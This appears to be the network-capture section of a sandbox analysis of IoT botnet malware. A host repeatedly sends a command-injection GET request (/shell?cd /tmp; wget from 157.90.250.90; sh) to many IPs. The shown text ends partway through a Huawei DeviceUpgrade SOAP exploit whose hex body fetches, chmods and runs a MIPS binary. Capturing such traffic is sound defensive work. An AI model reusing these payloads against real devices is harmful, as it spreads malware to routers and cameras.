3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
384	192.168.2.23	36664	45.56.102.146	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:56.015984058 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:56.178826094 CET	433	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:56 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
385	192.168.2.23	45918	176.112.147.61	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:56.122078896 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
386	192.168.2.23	43932	121.128.130.6	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:56.157593966 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:56.471991062 CET	36	IN	HTTP/1.1 303 See Other
Jan 2, 2024 06:24:56.472471952 CET	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a Data Ascii: Content-Type: text/plain
Jan 2, 2024 06:24:56.472482920 CET	31	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
Jan 2, 2024 06:24:56.472491980 CET	49	IN	Data Raw: 44 61 74 65 3a 20 54 75 65 2c 20 30 32 20 4a 61 6e 20 32 30 32 34 20 30 35 3a 32 33 3a 32 33 20 47 4d 54 0d 0a Data Ascii: Date: Tue, 02 Jan 2024 05:23:23 GMT
Jan 2, 2024 06:24:56.472503901 CET	70	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 0d 0a Data Ascii: Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+
Jan 2, 2024 06:24:56.472512960 CET	31	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a Data Ascii: Content-Length: 0
Jan 2, 2024 06:24:56.472523928 CET	14	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
387	192.168.2.23	39096	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:56.177860975 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:55Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
388	192.168.2.23	39130	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:56.509140968 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:55Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.23	39140	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:56.833362103 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:56Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
390	192.168.2.23	39148	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:57.161798000 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:56Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
391	192.168.2.23	39154	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:57.489039898 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:56Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
392	192.168.2.23	39158	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:57.818139076 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:57Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
393	192.168.2.23	39162	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:58.145251989 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:57Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
394	192.168.2.23	39172	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:58.479110956 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:57Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
395	192.168.2.23	39988	148.231.244.97	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:58.640722990 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:59.496385098 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:00.488248110 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:02.471965075 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:06.439399958 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:14.374294996 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:30.244029999 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
396	192.168.2.23	44926	104.75.225.91	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:58.708367109 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:58.942331076 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:24:58 GMT Date: Tue, 02 Jan 2024 05:24:58 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 63 35 37 63 38 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 39 38 26 23 34 36 3b 35 64 34 33 62 30 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.2c57c817.1704173098.5d43b08</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
397	192.168.2.23	39184	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:58.817795038 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:58Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
398	192.168.2.23	57646	20.244.147.183	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:58.867978096 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
399	192.168.2.23	40696	102.130.122.217	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:58.885495901 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:59.297518015 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Tue, 02 Jan 2024 05:24:58 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
400	192.168.2.23	54452	185.79.154.210	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:58.941620111 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:59.173659086 CET	632	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:47:59 GMT Server: Connection: close Content-Type: text/html; charset=iso-8859-1 X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=15552000 X-UA-Compatible: IE=Edge Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 54 68 65 20 72 65 71 75 65 73 74 20 6c 69 6e 65 20 63 6f 6e 74 61 69 6e 65 64 20 69 6e 76 61 6c 69 64 20 63 68 61 72 61 63 74 65 72 73 20 66 6f 6c 6c 6f 77 69 6e 67 20 74 68 65 20 70 72 6f 74 6f 63 6f 6c 20 73 74 72 69 6e 67 2e 3c 50 3e 0a 3c 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>The request line contained invalid characters following the protocol string.<P><P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
401	192.168.2.23	45034	198.12.222.113	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:58.944478035 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:59.129774094 CET	334	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 02 Jan 2024 05:24:59 GMT Server: Apache X-Powered-By: PHP/8.1.26 X-Redirect-By: Solid Security Upgrade: h2,h2c Connection: Upgrade, close Location: https://www.cmliray.cl/shell?cd+/tmp;rm+-rf+*;wget+ Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
402	192.168.2.23	37722	156.253.47.154	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:59.013684034 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 